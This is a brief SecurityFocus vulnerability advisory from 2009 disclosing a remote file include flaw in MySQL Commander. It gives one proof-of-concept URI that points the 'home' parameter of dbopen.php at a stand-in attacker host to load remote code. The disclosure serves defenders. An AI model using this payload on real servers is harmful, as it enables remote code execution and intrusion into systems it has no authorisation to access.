Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

MySQL Commander Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/[mysqlcommander_path]/ressourcen/dbopen.php?home=http://example2.com/evil?







 

Privacy Statement
Copyright 2009, SecurityFocus